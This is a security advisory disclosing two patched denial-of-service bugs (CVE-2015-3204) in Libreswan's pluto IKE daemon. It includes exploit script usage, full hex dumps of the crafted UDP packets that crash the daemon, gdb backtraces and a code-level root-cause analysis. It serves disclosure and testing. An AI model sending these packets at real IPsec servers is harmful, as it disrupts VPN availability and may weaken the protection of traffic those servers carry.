Libreswan Denial of Service (multiple vulnerabilities)

by Javantea

Research: May 15, 2015
Published: June 1, 2015

Libreswan Exploit 0.2 [sig]

Related:
Security Advisory for strongSwan
Security Advisory for IPsec Tools
IKEv1 Fuzzer
IPsec Vulnerabilities and Software Security Prediction

Introduction

Two Denial of Service vulnerabilities were found on May 15th, 2015 in the latest versions of Libreswan. These vulnerabilities have been assigned CVE-2015-3204 for reference. Libreswan has patched this vulnerability and released v3.13. I am releasing the exploit so that people will be able to test their servers. It is also easy to generate this exploit using the tools I am releasing today which found these two vulnerabilities and two vulnerabilities in strongSwan (Libreswan's competitor). If you have access to test equipment that runs an IPsec server, you should run this fuzzer against it. If you are a security researcher with any interest in IPsec, you should improve this fuzzer, find bugs with it, and send a patch.

Libreswan DoS Logo

Denial of Service in Libreswan jam_str

Product: Libreswan 3.12, 3.10, and possibly other versions
Website: https://libreswan.org/
Github: https://github.com/libreswan/libreswan
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)

A single crafted UDP packet can crash pluto, the IKE daemon from Libreswan. The daemon asserts that the length of a string is greater than zero, which is not true. The impact of pluto daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.

Demo

Libreswan Exploit 0.2 [sig]

Usage:

python3 libreswan_dos263.py 169.254.62.131

The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000000110020000000000000000580000003c 00000001ffffffff00000000010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005

What it looks like on the server:

sudo /usr/local/libexec/ipsec/pluto --config=/etc/ipsec.conf --
sudo gdb -p $(pgrep pluto |head -n 1)
...
(gdb) c
Continuing.

Program received signal SIGABRT, Aborted.
0x00007f2b4cf1ee37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55
55      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007f2b4cf1ee37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55
#1  0x00007f2b4cf2023a in __GI_abort () at abort.c:89
#2  0x00007f2b4f899f9f in libreswan_log_abort (
    file_str=file_str@entry=0x7f2b4f94bb10 "/home/jvoss/libreswan-3.12/lib/libswan/constants.c",
    line_no=line_no@entry=55) at /home/jvoss/libreswan-3.12/programs/pluto/log.c:545
#3  0x00007f2b4f89a4d4 in passert_fail (pred_str=<optimized out>,
    file_str=0x7f2b4f94bb10 "/home/jvoss/libreswan-3.12/lib/libswan/constants.c", line_no=55)
    at /home/jvoss/libreswan-3.12/programs/pluto/log.c:637
#4  0x00007f2b4f8fdd2c in jam_str (dest=<optimized out>, size=0, src=<optimized out>)
    at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:55
#5  0x00007f2b4f8fe229 in bitnamesofb (table=<optimized out>, val=4160749568, val@entry=4294967295,
    b=b@entry=0x7f2b4fb897e0 <bitnamesbuf> "SIT_IDENTITY_ONLY+SIT_SECRECY+SIT_INTEGRITY+0x8+0x10+0x20+0x40+0x80+0x100+0x200+0x400+0x800+0x1000+0x2000+0x4000+0x8000+0x10000+0x20000+0x40000+0x80000+0x100000+0x200000+0x400000+0x800000+0x1000000+0", blen=blen@entry=200) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2186
#6  0x00007f2b4f8fe2d9 in bitnamesof (table=<optimized out>, val=val@entry=4294967295)
    at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2221
#7  0x00007f2b4f8f890f in in_struct (struct_ptr=struct_ptr@entry=0x7fffca78c1cc, sd=0x7f2b4fb710b0 <ipsec_sit_desc>,
    ins=ins@entry=0x7fffca78c350, obj_pbs=obj_pbs@entry=0x0) at /home/jvoss/libreswan-3.12/programs/pluto/packet.c:1569
#8  0x00007f2b4f8b700d in preparse_isakmp_sa_body (sa_pbs=sa_pbs@entry=0x7fffca78c350)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1_spdb_struct.c:798
#9  0x00007f2b4f8ad6ec in main_inI1_outR1 (md=0x7f2b510c5d30)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1_main.c:601
#10 0x00007f2b4f8a9bf0 in process_packet_tail (mdp=mdp@entry=0x7fffca78c620)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:2139
#11 0x00007f2b4f8aa369 in process_v1_packet (mdp=mdp@entry=0x7fffca78c620)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1663
#12 0x00007f2b4f8d95cb in process_packet (mdp=mdp@entry=0x7fffca78c620)
    at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:161
#13 0x00007f2b4f8d9738 in comm_handle (ifp=ifp@entry=0x7f2b510c5ab0)
    at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:225
#14 0x00007f2b4f8a1a94 in call_server () at /home/jvoss/libreswan-3.12/programs/pluto/server.c:742
#15 0x00007f2b4f88be05 in main (argc=<optimized out>, argv=<optimized out>)
    at /home/jvoss/libreswan-3.12/programs/pluto/plutomain.c:1387

(gdb) frame 4
#4  0x00007f2b4f8fdd2c in jam_str (dest=<optimized out>, size=0, src=<optimized out>)
    at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:55
55              passert(size > 0);      /* need space for at least NUL */
(gdb) list
50       * Warning: Is it really wise to silently truncate?  Only the caller knows.
51       * The caller SHOULD check by seeing if the result equals dest's roof.
52       */
53      char *jam_str(char *dest, size_t size, const char *src)
54      {
55              passert(size > 0);      /* need space for at least NUL */
56
57              {
58                      size_t full_len = strlen(src);
59                      bool oflow = size - 1 < full_len;

(gdb) frame 5
#5  0x00007f2b4f8fe229 in bitnamesofb (table=<optimized out>, val=4160749568, val@entry=4294967295,
    b=b@entry=0x7f2b4fb897e0 <bitnamesbuf> "SIT_IDENTITY_ONLY+SIT_SECRECY+SIT_INTEGRITY+0x8+0x10+0x20+0x40+0x80+0x100+0x200+0x400+0x800+0x1000+0x2000+0x4000+0x8000+0x10000+0x20000+0x40000+0x80000+0x100000+0x200000+0x400000+0x800000+0x1000000+0", blen=blen@entry=200) at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2186
2186                                    p = jam_str(p, (size_t)(roof - p), "+");
(gdb) list
2181            for (tp = table, bit = 01; val != 0; bit <<= 1) {
2182                    if (val & bit) {
2183                            const char *n = *tp;
2184
2185                            if (p != b)
2186                                    p = jam_str(p, (size_t)(roof - p), "+");
2187
2188                            if (n == NULL || *n == '\0') {
2189                                    /*
2190                                     * No name for this bit, so use hex.

(gdb) frame 6
#6  0x00007f2b4f8fe2d9 in bitnamesof (table=<optimized out>, val=val@entry=4294967295)
    at /home/jvoss/libreswan-3.12/lib/libswan/constants.c:2221
2221            return bitnamesofb(table, val, bitnamesbuf, sizeof(bitnamesbuf));
(gdb) list
2216     */
2217    const char *bitnamesof(const char *const table[], lset_t val)
2218    {
2219            static char bitnamesbuf[200]; /* I hope that it is big enough! */
2220
2221            return bitnamesofb(table, val, bitnamesbuf, sizeof(bitnamesbuf));
2222    }
2223
2224    /* test a set by seeing if all bits have names */
2225    bool testset(const char *const table[], lset_t val)

(gdb) frame 7
#7  0x00007f2b4f8f890f in in_struct (struct_ptr=struct_ptr@entry=0x7fffca78c1cc, sd=0x7f2b4fb710b0 <ipsec_sit_desc>,
    ins=ins@entry=0x7fffca78c350, obj_pbs=obj_pbs@entry=0x0) at /home/jvoss/libreswan-3.12/programs/pluto/packet.c:1569
1569                                                    ugh = builddiag(
(gdb) list
1564                                            ugh = enum_enum_checker(sd->name, fp, last_enum);
1565                                            break;
1566
1567                                    case ft_set:            /* bits representing set */
1568                                            if (!testset(fp->desc, n)) {
1569                                                    ugh = builddiag(
1570                                                            "bitset %s of %s has unknown member(s): %s",
1571                                                            fp->name, sd->name,
1572                                                            bitnamesof(fp->desc,
1573                                                                       n));

Currently installed Libreswan: [ebuild R ] net-misc/libreswan-3.10::gentoo USE="pam -caps -curl -dnssec -ldap" 0 KiB

Configuration only has one interesting thing in it...

config setup
        # strictcrlpolicy=yes
        # uniqueids = no

conn net-net
     left=%defaultroute
     leftsubnet=10.1.0.0/16
     leftcert=moonCert.pem
     right=169.254.44.43
     rightsubnet=10.2.0.0/16
     rightid="C=CH, O=Linux Libreswan, CN=sun.strongswan.org"
     auto=start

This configuration comes directly from the configuration howto on strongswan.org: https://www.strongswan.org/docs/readme4.htm#section_2.1

The Vulnerability

/*
 * Jam a string into a buffer of limited size.
 *
 * This does something like what people mistakenly think strncpy does
 * but the parameter order is like snprintf.
 * OpenBSD's strlcpy serves the same purpose.
 *
 * The buffer bound (size) must be greater than 0.
 * That allows a guarantee that the result is NUL-terminated.
 *
 * The result is a pointer:
 *   if the string fits, to the NUL at the end of the string in dest;
 *   if the string was truncated, to the roof of dest.
 *
 * Warning: Is it really wise to silently truncate?  Only the caller knows.
 * The caller SHOULD check by seeing if the result equals dest's roof.
 */
char *jam_str(char *dest, size_t size, const char *src)
{
	passert(size > 0);	/* need space for at least NUL */

	{
		size_t full_len = strlen(src);
		bool oflow = size - 1 < full_len;
		size_t copy_len = oflow ? size - 1 : full_len;

		memcpy(dest, src, copy_len);
		dest[copy_len] = '\0';
		return dest + copy_len + (oflow ? 1 : 0);
	}
}

[...]

/*
 * construct a string to name the bits on in a set
 *
 * Result of bitnamesof may be in STATIC buffer -- NOT RE-ENTRANT!
 * Note: prettypolicy depends on internal details of bitnamesofb.
 * binamesofb is re-entrant since the caller provides the buffer.
 */
const char *bitnamesofb(const char *const table[], lset_t val,
			char *b, size_t blen)
{
	char *const roof = b + blen;
	char *p = b;
	lset_t bit;
	const char *const *tp;

	passert(blen != 0); /* need room for NUL */

	/* if nothing gets filled in, default to "none" rather than "" */
	(void) jam_str(p, (size_t)(roof - p), "none");

	for (tp = table, bit = 01; val != 0; bit <<= 1) {
		if (val & bit) {
			const char *n = *tp;

			if (p != b)
				p = jam_str(p, (size_t)(roof - p), "+");

			if (n == NULL || *n == '\0') {
				/*
				 * No name for this bit, so use hex.
				 * if snprintf returns a different value from
				 * strlen, truncation happened
				 */
				(void)snprintf(p, (size_t)(roof - p),
					"0x%" PRIxLSET,
					bit);
				p += strlen(p);
			} else {
				p = jam_str(p, (size_t)(roof - p), n);
			}
			val -= bit;
		}
		/*
		 * Move on in the table, but not past end.
		 * This is a bit of a trick: while we are at stuck the end,
		 * the loop will print out the remaining bits in hex.
		 */
		if (*tp != NULL)
			tp++;
	}
	return b;
}

It isn't very clear what's going on just looking at the code, but you can see that p increases by strlen(p) or changes to what jam_str returns in two cases. jam_str always returns the input + copy_len or the input + copy_len + 1, which is derived from input. That means roof-p (which is size, the important variable in this vulnerability) should be decreasing steadily over this for loop. If a certain value is given, size is less than or equal to zero, giving us the passert crash.

Ironically, jam_str was designed to avoid common errors in strcpy and strncpy. Who would have thought that you would have serious issues when dealing with code this complex. No kidding.

The jam_str function was introduced in Mar 6 2013 in libreswan version 3.1, of course to avoid common errors in strcpy and strncpy.

Denial of Service in Libreswan process_packet_tail

Product: Libreswan 3.12, 3.10, and possibly other versions
Website: https://libreswan.org/
Github: https://github.com/libreswan/libreswan
Type: Denial of Service (CWE-476)
Severity: Medium
CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:N/A:C)

A single crafted UDP packet can crash pluto, the IKE daemon from Libreswan. The daemon asserts that a pointer is not null, which is not true. The impact of pluto daemon crashing is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.

Demo

Libreswan Exploit 0.2 [sig]

Usage:

python3 libreswan_dos493.py 169.254.62.131

The single packet which causes this DoS to occur is below split into structures:
b9ce3eefc8b661dd00000000000000000f10020000000000000000580000003c 000000010000000100000030010100010000002801010000800b0001000c00040001518080010007800e0100800300038002000280040005

sudo /usr/local/libexec/ipsec/pluto --config=/etc/ipsec.conf --
sudo gdb -p $(pgrep pluto |head -n 1)
...
(gdb) c
Continuing.

Program received signal SIGABRT, Aborted.
0x00007f4bb2dfae37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55
55      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007f4bb2dfae37 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:55
#1  0x00007f4bb2dfc23a in __GI_abort () at abort.c:89
#2  0x00007f4bb5775f9f in libreswan_log_abort (
    file_str=file_str@entry=0x7f4bb580ca88 "/home/jvoss/libreswan-3.12/programs/pluto/ikev1.c",
    line_no=line_no@entry=1865) at /home/jvoss/libreswan-3.12/programs/pluto/log.c:545
#3  0x00007f4bb57764d4 in passert_fail (pred_str=<optimized out>,
    file_str=0x7f4bb580ca88 "/home/jvoss/libreswan-3.12/programs/pluto/ikev1.c", line_no=1865)
    at /home/jvoss/libreswan-3.12/programs/pluto/log.c:637
#4  0x00007f4bb5785637 in process_packet_tail (mdp=mdp@entry=0x7ffc288c6ce0)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1865
#5  0x00007f4bb5786369 in process_v1_packet (mdp=mdp@entry=0x7ffc288c6ce0)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1663
#6  0x00007f4bb57b55cb in process_packet (mdp=mdp@entry=0x7ffc288c6ce0)
    at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:161
#7  0x00007f4bb57b5738 in comm_handle (ifp=ifp@entry=0x7f4bb5adbab0)
    at /home/jvoss/libreswan-3.12/programs/pluto/demux.c:225
#8  0x00007f4bb577da94 in call_server () at /home/jvoss/libreswan-3.12/programs/pluto/server.c:742
#9  0x00007f4bb5767e05 in main (argc=<optimized out>, argv=<optimized out>)
    at /home/jvoss/libreswan-3.12/programs/pluto/plutomain.c:1387

(gdb) frame 4
#4  0x00007f4bb5785637 in process_packet_tail (mdp=mdp@entry=0x7ffc288c6ce0)
    at /home/jvoss/libreswan-3.12/programs/pluto/ikev1.c:1865
1865                                    passert(sd != NULL);
(gdb) list
1860                                                   excuse,
1861                                                   enum_show(&ikev1_payload_names, np));
1862                                            SEND_NOTIFICATION(INVALID_PAYLOAD_TYPE);
1863                                            return;
1864                                    }
1865                                    passert(sd != NULL);
1866                            }
1867
1868                            {
1869                                    lset_t s = LELEM(np);
(gdb) print md->hdr.isa_np
$4 = 15 '\017'

The configuration in this is the same as the previous vulnerability.

The Vulnerability

libreswan-3.12/include/ietf_constants.h:483:
	ISAKMP_NEXT_SAK = 15, /* SA KEK Payload - RFC 6407 */

libreswan-3.12/programs/pluto/ikev1.c:1851
				case ISAKMP_NEXT_SAK: /* AKA ISAKMP_NEXT_NATD_BADDRAFTS */
					loglog(RC_LOG_SERIOUS,
						"%smessage with unsupported payload ISAKMP_NEXT_SAK (as ISAKMP_NEXT_NATD_BADDRAFTS) ignored",
						excuse);
					break;

libreswan-3.12/programs/pluto/ikev1.c:1865
			passert(sd != NULL);

This branch does not set sd and does not return. Therefore the assertion is not true, crashing pluto with an abort.

What it means

When the IKE daemon crashes, it may or may not be restarted.
If it is restarted, it gives the attacker as many attempts as they want to get the IKE daemon into the startup state. Result: unknown.
If it is not restarted, the keys do not get changed. When the IV gets repeated, the stream loses some confidentiality and integrity. Replay becomes easy. Result: possible compromise.
If the system decides that the two systems should no longer use IPsec, the system may revert back to IP silently. Result: possible complete compromise.
If the system decides to instead stop sending packets to the affected system, this becomes a denial of service. Result: complete availability compromise.

The most likely result is clearly the availability compromise. However, it is possible for the system to revert to IP silently which is by far the worst possible case scenario. Ubuntu and Gentoo by default do not restart the server, which leads to availability compromise for those systems that do not have keys exchanged and for any system that has keys exchanged, it will lead to an unknown result. The worst possible result for Ubuntu and Gentoo in their default configuration is possible compromise. However, since IPsec requires administrators to configure their systems, it is likely that many different configurations exist that do not conform to these assumptions.

When encryption is compromised, the layer below becomes available to the attacker. IPsec was designed to run over public networks, thus attackers are there.

An aside about Man-in-the-middle attacks: Man-in-the-middle attacks are not theoretical. It is practical and exploitable on WiFi (road-warrior use-case), corporate networks (flat topology corporation use-case), server racks (DMZ/segmented use-case), and backbone routers (ISP use-case).

I am not trying to be alarmist. The odds of someone compromising your entire corporate network based on this vulnerability are low. The main reason to upgrade is because the attacker can deny availability to your IPsec server and the result of this attack is not fully understood for every environment.

Many thanks to Paul Wouters and the Libreswan team for a quick turnaround and a very well-informed discussion about the implications of these bugs. Their efforts ensured a smooth release of this information.

Conclusion

Two Denial of Service vulnerabilities were found on May 15th, 2015 in the latest versions of Libreswan. Exploits for these vulnerabilities are available. Upgrade as soon as possible. The most likely result of an attack is denial of service, but the result is dependent on the environment and can vary quite greatly. Since IPsec is critical infrastructure, it should be considered of high importance.